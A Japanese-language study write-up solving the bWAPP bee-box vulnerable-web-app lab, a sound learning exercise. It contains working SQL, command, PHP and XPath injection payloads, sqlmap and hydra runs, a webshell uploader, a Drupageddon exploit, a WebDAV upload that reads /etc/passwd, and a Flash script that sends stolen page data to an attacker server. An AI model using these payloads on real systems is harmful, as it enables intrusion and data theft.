bWAPP: bee-box writeup
ぺネトレの基本を押さえるためにBee-boxの問題全部解くぞ!!
全部解いたら、あとでほかのマシンを攻略するときの良いまとまった参考資料になる気がするぞ!
あんまりよくわかってないので間違ってたりしてたら指摘していただけると幸いです。
- A1-Injection
- HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- Mail Header Injection (SMTP)
- OS Command Injection
- OS Command Injection – Blind
- PHP Code Injection
- Server-Side Includes (SSI) Injection
- SQL Injection (GET/Search)
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- Manual Intervention Required
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- Drupal SQL Injection (Drupageddon)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (WS/SOAP)
- XML/XPath Injection (Login Form)
- XML/XPath Injection (Search)
- A2 Broken Auth. & Session Mgmt.
- Broken Auth. - CAPTCHA Bypassing
- Broken Auth. - Forgotten Function
- Broken Auth. - Insecure Login Forms
- Broken Auth. - Logout Management
- Broken Auth. - Password Attacks
- Broken Auth. - Weak Passwords
- Session Mgmt. - Administrative Portals
- Session Mgmt. - Cookies (HTTPOnly)
- Session Mgmt. - Cookies (Secure)
- Session Mgmt. - Session ID in URL
- Session Mgmt. - Strong Sessions
- A4 – Insecure Direct Object References
- A5 – Security Misconfiguration
- A6 - Sensitive Data Exposure
- A7 - Missing Functional Level Access Control
- A9 - Using Known Vulnerable Components
- Other bugs
以下にBee-boxのソースコードが上がっています
https://github.com/theand-fork/bwapp-code/tree/master/bWAPP
https://github.com/lmoroz/bWAPP/tree/master/bWAPP
A1-Injection
HTML Injection - Reflected (GET)
- low
反射型なので、送信したスクリプトはサーバーに保存されない
<h1>aa</h1>
,<script>alert("a")</script>
。いつもの。
- medium
lowと同様にしているがうまく行かず。<>がどうやら& lt;
などにHtmlエンコードされている様子。
URLencodeすると解決! - hard
<?php function xss_check_3($data, $encoding = "UTF-8"){ return htmlspecialchars($data, ENT_QUOTES, $encoding); } print xss_check_3($data); ?>
となっているため、脆弱ではありません
以後、基本的にhardは脆弱ではありません。
HTML Injection - Reflected (POST)
GETと同じ
MediumもURLエンコードで解決。
HTML Injection - Reflected (URL)
ソースコードは次の通り
通常、document.url
、document.write
、document.location
は、適切に処理されない場合、DOM XSSの下にあるらしい。
反射型との違いは、クライアントサイドスクリプトの脆弱性を利用することらしいです(よくわからん)
- low
- medium
GET /bWAPP/htmli_current_url.php?<h1>aa</h1><h2>aa</h2>
GET /bWAPP/htmli_current_url.php#<h1>aa</h1><h2>aa</h2>
HTML Injection - Stored (Blog)
- low
<h1>aa</h1>
ができてる
また、以下のスクリプトでWebshellを設置できる
<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>
iFrame Injection
- low
iframeとは、src属性で指定したURL(リンク先ページの内容)をインラインフレーム表示できるHTMLタグの一つ
ソースコードはこうなっている。
GET /bWAPP/iframei.php?ParamUrl=iframei.php&ParamWidth=250&ParamHeight=250
のParamUrl
の値を変更するとそのページがインライン表示された!
また、ParamUrl="></iframe><h1>a</h1><iframesrc="
で、以下のように挿入できる
- medium
lowと同じ方法でやったがダメだった
ソースコードを見ると、下のようになっているので、シングルクォート('), ダブルクォート("),バックスラッシュ () ,NUL (NULL バイト)が弾かれて、先頭にバックスラッシュが付与される。
Mediumではsrc=robots.txt
で固定で、PramWidth
でaddslash()が使われている
addslash()
が使われているとき、%bf%5c”
と書くと、”
が書けるらしい
%bf%5c'
と入力すると、%bf%5c
が中国語のMultiByteで?
となって、後ろの’
がフィルタリングされないらしい。
/bWAPP/iframei.php?ParamUrl=1%bf%5c'&ParamWidth=1%bf%5c"></iframe><h1>aa</h1>&ParamHeight=250
で、下のようになり成功した!
参考文献:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
Mail Header Injection (SMTP)
name = wagn \ nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submit
とかでBCCを追加できるらしい
つまり、BCCとかをSMTPに解釈させることができる。BCCとしてメールを送り付けることができるらしい。
OS Command Injection
- low
www.nsa.gov;id
とすると下のように実行できている
- medium
ソースコードを見ると、以下のようになっている
www.nsa.gov | id
とすればよい
OS Command Injection – Blind
- low
先ほどと同じようにする
- medium
192.168.56.5|sleep 10
でいけた
PHP Code Injection
phpi.php?message=exec(id)
でいけた
ソースコードを見た感じ、MediumもHardも同じくspecialcharacters()でフィルタリングされてる。
Server-Side Includes (SSI) Injection
- low
ssii.shtmlに、htmlをインクルードしているらしい。CGIを使わずに動的にページを作成するときに使われる。
<script>alert("a")</script>
でいけた!
<!-- exec cmd="pwd" -->
でも行けるらしい - medium
single quote ('), double quote ("), backslash () and NUL (the NULL byte) がaddslash()でフィルタされているだけなので、
<h1>a</h1>
でいけた
SQL Injection (GET/Search)
' or '1'='1
,' order by 7-- -
,' Union select 1,2,3,4,5,6,7 -- -
が成功している
ソースコードは以下の通り
SQL Injection (GET/Select)
GETメソッドで'
を入れると以下のようにエラーが出た
'1 and '1'='1
を入力すると以下のようなエラー
1 and 1=1
とすると動く
ソースコードを見てみる
id = (入力)
となっている
idの属性が文字列型の時は’’
が必要で、整数型の時は''
は必要ないらしい。
1 and 1=0 union all select 1,2,3,4,5,6,7 --
で成功する
and 1=0
を入れないと、union selectでSelectした値が1で上書きされてしまうため、必要。
1 union all select 1,2,3,4,5,6,7 --
は不十分
SQL Injection (POST/Search)
' or '1'='1
,' order by 6 -- -
,' Union select 1,2,3,4,5,6,7 -- -
SQL Injection (POST/Select)
1 and 1=0 union all select 1,2,3,4,5,6,7 --
をPOSTする
SQL Injection (AJAX/JSON/jQuery)
' or '1'='1
でいけている
' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables -- -
などでも確認
また、ソースコードを確認してみると、
.getJSON("sqli_10-2.php", search, function(data) と書いてある。
HTTPのGET通信を行い、json形式に変換されたデータをサーバから受け取っているのでブラウザからGETで送信しても確認
Manual Intervention Required
普通に表示されているのを入力して、
SQL Injection (Login Form/Hero)
‘ or ‘1’ = ‘1
で行けてる。いつものと同じ(は?)
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
つまり、「Selectで入力されたユーザーがDBに登録されているかどうかを調べて、戻り値に誰かしらのユーザーが存在すればそのユーザとしてログインする」認証において、or 1=1
とすることですべてのユーザーを戻り値として受け取るのでログインできている(?)
SQL Injection (Login Form/User)
'
を入力すると、
‘ or ‘1’ = ‘1
,' or '1' = '1 -- -
を入力すると、
SQLエラーは起きていないので、普通に認証の段階でつまずいている
今回は、user名はSQLで入力されたユーザをDBから戻り値として取ってくるが、passwordはSQLに含まれておらず、DBからの戻り値のユーザのパスワードと入力されたパスワードが一致しているかどうかを確認している
こちらはpasswordまではわからないのでuser:' or '1' = '1 -- -
,password:本当のパスワード
としない限りこれでは成功しない。
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $password = hash("sha1", $password, false); $sql = "SELECT * FROM users WHERE login = '" . $login . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"] && $password == $row["password"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
ただし、認証に失敗したとしてもSQL文は実行できているのでBlind Injectionはできる!
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
が確認できた。
また、Error-basedの
' AND extractvalue(rand(),concat(0x3a,version()))-- -
を試したところ、実行はエラーでできていないが、結果的にデータベース名が判明している(それしかわからないが……)
参考:
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
SQL Injection (SQLite)
' or '1' = '1
でいけた
' Union select 1,2,sqlite_version(),4,5,6 -- -
でもいけた。
' Union select 1,2,version(),4,5,6 -- -
だとエラーが発生。
Drupal SQL Injection (Drupageddon)
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.8/drupal -u sample -p sample
でCVE-2014-3704に対応したエクスプロイトを実行
user:sample,password:sampleを作成するエクスプロイト
ペイロードは下の通り
/drupal/にいってログインしてみるとできる!
ちなみに、Metasploitにもエクスプロイトがあるのでそっちも試してみます
use multi/http/drupal_drupaggeddon
を使う
Metasploitのpayloadは下の通り。わけわかりませんね
SQL Injection - Stored (Blog)
格納型のSQLInjetionですね。POSTで送るデータでSQLInjetionできそうです
この入力に対して、以下のようなエラー
' or '1' = '1
を入力すると、エラーせずすべて表示されたので、SQLiの脆弱性があります
' order by 1 -- -
も試したが、エラーが出てしまった。コメントアウトができないようです。
なのでUNION SELECTとかは厳しそうですね
次にblind injectionを試してみます
- Boolead-based
- Error-based
- Time-based
' RLIKE (SELECT (CASE WHEN (9042=9042) THEN 0x61 ELSE 0x28 END)) AND 'NOrf'='NOrf
OR ROW(4201,1873)>(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(4201=4201,1))),0x716b6a7171,FLOOR(RAND(0)*2))x FROM (SELECT 2894 UNION SELECT 1505 UNION SELECT 8532 UNION SELECT 9010)a GROUP BY x) AND 'REVp'='REVp
AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
これらでうまく行っています!これらはSqlmap先輩が出力したpayloadです
これらのペイロードは割とよく見る気がするので覚えた方がよいかも
また、' or sleep(5) or '1'='1
でも行けてますね。
どうやら、最後にコメントアウトを入れることができないので '1'='1
で最後をエラーが出ないような形にしてあげれば良さそうです
参考文献:
SQLiのcheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
Error-basedなどが詳しく書いてある
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
SQL Injection - Stored (SQLite)
' or '1' = '1
や'
を試してみるが、エラーは特に表示されない
この問題は格納型なので、INSERT INTO テーブル名 VALUES ( ‘値1′ [ , ‘値2’ ]・・・);
というソースコードになっているはず。
なので、試しに','');
を入力してみると、下のように空白が記憶されている
そこで、',sqlite_version());
を入力すると、下のようにバージョンが表示されている
',(select name from sqlite_master where type='table'));
を入力すると、以下のようになった.
よって任意のデータが読みだせますね
ちなみに、ソースコードは、下のようになっており、$entryに入力される
$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";
参考文献
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html
SQL Injection - Stored (User-Agent)
User-AgentにSQLInjetionできそうです
Burpで'
をUser-Agentに入力してみます
とすると、内部エラーが出力されたのでSQLInjetionできます。
' or '1'='1
を入力すると、エラーなくすべて表示されました。
' order by 1 or '1'='1
を入力すると、以下のようなエラーが表示されました
この形から、INSERT INTO テーブル名 VALUES ( ‘値1’,’useragent’,’ipaddress’);
となっていることが予想されます。
先ほどの','');-- -
を試してみると、次のように空白が表示されています!
',database());-- -
などで成功しています!
また、Time-basedの' or sleep(5) or '1'='1
でも成功しました!
一つ前の問題でSqlmapが吐いた' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
も成功しています!
実際に、以下でSqlmapを実行してみます
sqlmap -u "http://192.168.56.8/bWAPP/sqli_17.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 -p User-Agent --dbs
Boolean-based,Error-based,Time-basedを検出しています!
SQL Injection - Stored (XML)
XML形式でデータをSQLパーサに送信するようです
特に何かを表示させるような感じではないので、Union型ではなさそうです
Burpで'
を入力してみます
すると次のようなエラーが表示されました
Time-basedの' or sleep(5) or '1'='1 -- -
を試すと成功!
Boolean-basedの' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
でも成功!
sqlmap -u "http://192.168.56.8/bWAPP/sqli_8-2.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 --data="<reset><login>a</login><secret>Any bugs?</secret></reset>" --dbs --method POST --dbms mysql
を実行すると、以下のような結果が得られた
参考
動画ではError-based型で成功しているが自分は成功しなかった(???)
https://www.youtube.com/watch?v=cmTZ3LXyjsk
SQL Injection - Blind - Boolean-Based
Blindと書いてあるのでTime-basedとかBoolean-basedを試す
' or sleep(5) -- -
を実行すると、明らかに5秒以上動かなくなった……(なんでだ?)
' or sleep(5) or '1' = '1
とかはダメだった
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
だと成功した!
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
で試してみる
(1119=1119)
とすると、
(1119=1)とすると、
となっており、1bitの情報が得られる!
実際にSqlmapを実行すると、
SQL Injection - Blind - Time-Based
‘ or sleep(5) or ‘1’=’1
とか動かん。よくわからん
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
で成功した!
Boolean-basedの
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
は失敗した
SQL Injection - Blind (SQLite)
Blindを試す
より、Boolean-based型が成功している
Sqlmapを実行すると、
sqlmap -u "http://192.168.56.8/bWAPP/sqli_14.php?title=a&action=search" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 5 --dbs --risk 3 -p title –dbms SQLite
SQL Injection - Blind (WS/SOAP)
Blindを試す
GETをsqli_5.php?title=' or '1'='2&action=go
とすると、
GETをsqli_5.php?title=' or '1'='1&action=go
とすると、
となっているので、Boolean-based型ができる!
また、Time-basedの
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
も成功している
' or sleep(5) and '1'='1
としても5秒以上ではあるがSleepしている(ような挙動)なので成功している?
XML/XPath Injection (Login Form)
xpathとはXML形式のファイルから特定の部分を指定して抽出するための構文(言語)らしいです
つまり、SQLみたいなものと解釈しています
SQLではないので、SQLInjetionのペイロードとは少し違いますが、似ています
見た感じPOSTっぽいですが、Burpで見てみるとGETでした!(はえー)
SQLiで定番の' or '1'='1
でログインできました!
参考文献:
Xpath Injectionのペイロードなどがのっている神
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#tools
XML/XPath Injection (Search)
GETメソッドで映画のジャンルをactionとかsfとかを送信する
‘
をGETメソッドのgenre=’
としていれると次のerrorが発生
Genre=act
として省略してもgenre=action
と同じ動作をするのでxpath構文の中にcontains()
が実装されていると予想できるらしい
) or contains(genre, '
) or not(contains(genre, 'teck') and '1'='2
)]/password | a[contains(a,'
)]/*|//*[contains('1','1
が動くらしい(結果論で申し訳ない)
実際のソースコードは、
の通りである。
初め二つのペイロードはgenreに''を含む値、つまりすべてのジャンルの値を取り出している
3つ目は、xmlファイルの中のpasswordの中身をパイプでつないでるっぽい。
4つ目の')]/*|//*[contains('1','1
を使えばすべて表示できるらしい
参考:
https://teckk2.github.io/web-pentesting/2018/02/07/XML-XPath-Injection-(Search).html
A2 Broken Auth. & Session Mgmt.
Broken Auth. - CAPTCHA Bypassing
bee/bug
と書いてあるので、これとCAPTCHAでログインが可能である。
しかし、本来はUserとPasswordはブルートフォースで試すことになるため、アクセスするたびに毎回異なった正しい値を設定する必要があるCAPTCHAは邪魔である
本問はこれをBypassする問題
まずは普通にアクセスする際にどういう通信が発生しているのかWiresharkで確認してみる
http.request.method == "POST" or http.request.method == "GET"
でフィルタ
POST以外にも通信が発生している。
これはPOSTした際にクレデンシャルが間違っていた時に新しいCAPTCHAをサーバー側のSESSIONにセットし、GETで新しいCAPTCHAをWEBブラウザに表示しているからである。
実際にソースコードを確認すると、以下のようになっている。
else { if($_POST["captcha_user"] == $_SESSION["captcha"]) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; }
よって、POSTのみを行えばよい
これをBurpのIntruderで行う
上記の通り、成功している!この時の通信は以下の通りPOSTのみである
Broken Auth. - Forgotten Function
ソースコードは以下の通り。
if(isset($_POST["action"])) { $email = $_POST["email"]; if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { $message = "<font color=\"red\">Please enter a valid e-mail address!</font>"; } else { $email = mysqli_real_escape_string($link, $email); $sql = "SELECT * FROM users WHERE email = '" . $email . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Error: " . $link->error); }
RFC822を使用しているようなのでフィルタのチェックはガバガバか?と思ったが、mysqli_real_escape_stringがあるのでSQLInjetionはできなさそう。
つまり、MailAddressはブルートフォースする必要がある。
試しに以下でUserを作成する
これでやると行けたが、この問題の趣旨がよくわからない?なんでしょう??
Broken Auth. - Insecure Login Forms
- low
ソースコードを見るとクレデンシャルが書いてあります。
user="tonystark" password="I am Iron Man"でログイン成功!
- medium
ソースコードを見てみると、javascriptが見える
これを開発者ツールのConsoleで実行すると,passphraseが得られた。
- hard
user=bee,password=bugで成功。Broken Auth. - Logout Management
- low
ソースコードを見てみる
switch($_COOKIE["security_level"]) { case "0" : // Do nothing break; case "1" : // Destroys the session session_destroy(); break; case "2" : // Unsets all of the session variables $_SESSION = array(); // Destroys the session session_destroy(); break; default : // Do nothing break; }
どうやらlogin.phpにリダイレクトはされるが、Sessionは削除されないため、ログインしてるのと同じ。
- medium
MediumとHardではログアウトすると再度ログインする必要があった。
Broken Auth. - Password Attacks
- low
bee/bugで基本的にログイン自体はできるけど、その認証の違いを学ぶのが本問の趣旨(?)
lowレベルのソースコードは以下の通り、userとpasswordを確認しかしていない
if(isset($_POST["form"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } }
- medium
POSTリクエストを見てみると、以下のようにランダムなSaltを送信している
if(isset($_POST["form"])) { if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect salt!</font>"; } } $salt = random_string(); $_SESSION["salt"] = $salt;
毎回ランダムな値がセットされるのでHydraなどのブルートフォースツールは動かないっぽい
- hard
if(isset($_POST["form"])) { if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect CAPTCHA!</font>"; } }
CAPTCHAはおそらくリロードしない限りは使いまわせる
Broken Auth. - Weak Passwords
正しいパスワードをブルートフォースで攻撃する
$login = "test"; switch($_COOKIE["security_level"]) { case "0" : $password = "test"; break; case "1" : $password = "test123"; break; case "2" : $password = "Test123"; break; default : $password = "test"; break; }
/usr/share/john/password.lst
,/usr/share/wfuzz/wordlist/general/big.txt
ならtest
とtest123
ならいけた。Test123
があるワードリストはWordlistsディレクトリ下にはない。
hydra -L /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -s 80 192.168.56.8 http-post-form '/bWAPP/ba_weak_pwd.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials!:H=Cookie:security_level=0; PHPSESSID=fdecda3af8c9c666618ffc6af4b27c5c; has_js=1'
を実行するとlowレベルなら成功!
Session Mgmt. - Administrative Portals
- low
smgmt_admin_portal.php?admin=0
となっているURLの値をadmin=1
とすると、成功
- medium
Cookieの中にadmin=0とあるのでこれをadmin=1とするころでUnlock!
- low
初めからUnlockになっているゾ
Session Mgmt. - Cookies (HTTPOnly)
<script> function show_my_cookies() { alert(document.cookie) } </script>
http only
属性がONの場合は、HTTPテキスト内のスクリプトからCookieをアクセスできなくなる。 これにより、ウェブサイトにクロスサイト・スクリプティングの脆弱性があっても、その脆弱性によってCookieを盗まれるという事態を防止できる。
しかし、今回はOFFとなっているので、もしXSSができる場合にSESSIONが盗まれてしまう
http only
属性はChromeの[Application]の[Cookies]で確認する
また、Cookiesをクリックすると以下のように表示された。
ここで<h1>aa</h1>
などのInjectionを試すと実行されている
Mediumではhttp only属性が付与されている
Htmlでは表示されているtop_securityにhttp only属性が付与されているため、alert(daocument.cookie)の実行で表示している[here]タブからは参照できない
Session Mgmt. - Cookies (Secure)
secure属性を指定すると、TLSもしくはSSLで保護された通信が用いられている場合のみ、Cookieがブラウザから送出されるようになる。
Mediumでhttpsでアクセスすると、以下のようにSecure属性がついているtop_securityがサーバに投げられてhtmlに表示される。
httpでアクセスするとSecure属性のtop_securityはサーバに送信されず、Htmlに表示されていない
Session Mgmt. - Session ID in URL
lowの時のみ、URLにSessionIDが見えている
Session Mgmt. - Strong Sessions
- low
Hereにアクセスすると以下のようにStrongSessionを持っていないといわれる。
- medium
Mediumでアクセスしてみると以下のようになった。
CookieにSessionIDが設定されている。Secure属性がついていないため、httpでもStrongSessionIDが付与されている。これでは盗聴されたときにSessionハイジャックに脆弱である。
- high
乱数をSHA256ハッシュ化したStrongSessionIDにSSL/TLS通信でhttp only, http secure属性を付与している。これなら普通は盗まれないのかな?
// Generates a SSL secured cookie // Generates a random token $token = uniqid(mt_rand(0,100000)); $token = hash("sha256", $token); $_SESSION["top_security_ssl"] = $token; // The cookie will be available within the entire domain // Sets the Http Only flag and the Secure flag setcookie("top_security_ssl", $token, time()+3600, "/", "", true, true);
A4 – Insecure Direct Object References
Insecure DOR (Change Secret)
POSTで送信するデータを見てみると、
となっており、このlogin=bee
の値を書き換えることで別のユーザーのSecretを上書きできる。
MediumやHighではPOSTは以下のようにランダムな値であるTokenに変わっている
// If the security level is MEDIUM or HIGH if(!isset($_REQUEST["token"]) or !isset($_SESSION["token"]) or $_REQUEST["token"] != $_SESSION["token"]) { $message = "<font color=\"red\">Invalid token!</font>"; }
ランダムなTokenを作成して、それをSESSIONとPOSTにそれぞれ入れて、それが一致か確認する認証に変わっている。
Lowでは、ユーザー名は$SESSIONから取得するべきで、POSTの$REQUESTSには入れるべきではないのに入っているのが問題
// A random token is generated when the security level is MEDIUM or HIGH if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2") { $token = sha1(uniqid(mt_rand(0,100000))); $_SESSION["token"] = $token; }
Insecure DOR (Reset Secret)
POSTを見ると、login=beeとなっているため、このユーザー名を書き換えることでその他のユーザのSecretを書き換えらえる。
Insecure DOR (Order Tickets)
POSTを見てみると、価格も送信しているのでこれを15じゃなくて100に書き換えてみる
レスポンスを見ると下のように書き換えられている!
A5 – Security Misconfiguration
Arbitrary File Access (Samba)
enum4linux 192.168.56.8
smbclient //192.168.56.8/tmp
パスワードなしで接続できる共有フォルダがあれば、Metasploitを用いてrootディレクトリ以下のコピーを作成できる
use auxiliary/admin/smb/samba_symlink_traversal set RHOSTS 192.168.56.8 set SMBSHARE tmp exploit
Metasploitを使わずに同じことをしたいがどうやるんだろう??
/etc/passwd
も読める
Cross-Domain Policy File (Flash)
本問はFlashのRevive Adserver before 3.2.2でデフォルトでクロスドメイン制約がすべてのドメインに関して許可されていることによるCSRFが可能というテーマである(CVE-2015-7369)
CSRFとは、オンラインサービスを利用するユーザーがログイン状態を保持したまま悪意のある第三者の作成したURLなどをクリックした場合などに、本人が意図しない形で情報・リクエストを送信されてしまうことである
つまり、今回の攻撃は攻撃者が用意したbee-boxとは別のWebサーバにアクセスするだけで、bee-boxに勝手にアクセスされて任意の操作(User作成、Secretの取得や書き換えなど)をされてしまうということ。
ログインしている状態でこのような攻撃者のWebページにアクセスしてしまうと、ユーザが気づかない間に勝手に情報が抜かれていることがありえる。
ルートディレクトリに存在しているcrossdomain.xmlを見てみると、下のようにすべてのドメインからの操作を許可している
攻撃用サーバにアップするソースコードなどのサンプルが/evil/にあるらしいのでアクセスしてみる
SWFファイルとは、Adobe Flashなどで作成されたベクターアニメーションなどが格納された再生用ファイルの形式で、.asファイルをコンパイルして作成する。
標準のファイル拡張子は「.swf」。Webブラウザなどに組み込まれたFlash Playerなどで再生・実行される。
今回は.asファイル
にbee-boxのsecret.phpにアクセスしてそこからデータを取得して、攻撃者のphpファイルに返すような動作を記述する
コンパイラは以下を使用
Kali側の攻撃用サーバのxdx.php
は以下の通りである
<?php if(isset($_POST["data"])) { $req_dump = $_POST["data"]; $fp = fopen("xdx.log", "a"); fwrite($fp, $req_dump); fclose($fp); exit; } ?> <!DOCTYPE html> <html> <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1"> <param name="movie" value="xdx.swf" /> </object> </html>
xdx.as
は以下の通りである。/evil/にあるファイルのうち、二つのURLを変更しただけ
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com) // Customizations by Malik Mesellem (malik@itsecgames.com) // xdx.as // Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5 package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLVariables; import flash.net.URLLoader; public class xdx extends Sprite { public function xdx() { // Target URL from where the data is to be retrieved var readFrom:String = "http://192.168.56.8/bWAPP/secret.php"; var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://10.0.2.15/share/crossdomain/xdx.php" var sendRequest:URLRequest = new URLRequest(sendTo); var variables:URLVariables = new URLVariables(); variables.data = event.target.data; sendRequest.method = URLRequestMethod.POST; sendRequest.data = variables; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }
/opt/flex_sdk/bin/mxmlc xdx.as
でasファイル
をswfファイル
にコンパイル
service apache2 start
でKali側で攻撃用サーバを立ち上げる
ChromeではデフォルトでFlashのPluginが無効なので有効にする
ChromeのNetworkで確認すると以下のようになっており、secret.phpにアクセスできている!
参考文献:
とても詳細に解説が書いてある
https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221618987993&proxyReferer=https%3A%2F%2Fwww.google.com%2F
さらにUserを作成するようなActionScriptがある。
https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
Insecure FTP Configuration
ftp 192.168.56.8
lftp -u anonymous,anonymous 192.168.56.8
Filezilla
use auxiliary/scanner/ftp/anonymous
Insecure SNMP Configuration
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
portは161
snmp-check 192.168.56.8
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
bee-boxのバージョンがみえている。
use auxiliary/scanner/snmp/snmp_login
参考文献:
https://net123.tistory.com/513
Insecure WebDAV Configuration
WebDAVとは、主にWebサーバからWebクライアントへのファイルを送信するのに用いられるHTTPを拡張し、サーバ内のファイルやディレクトリの管理を直接行うことができるようにする仕様。
ここにファイルアップロードできないかなどを試す
cadaver http://192.168.56.8/webdav
A command-line WebDAV client for Unix
davtest -url http://192.168.56.8/webdav/
curl -X PUT --data '<?php $f=fopen("/etc/passwd","r"); echo fread($f,filesize("/etc/passwd")); fclose($f); ?>' 'http://192.168.56.8/webdav/attack.php'
use auxiliary/scanner/http/webdav_scanner
その他、nikto
,nmap
などでも確認できるらしい
curl -v -X OPTIONS "http://192.168.56.8/webdav/"
でPUT
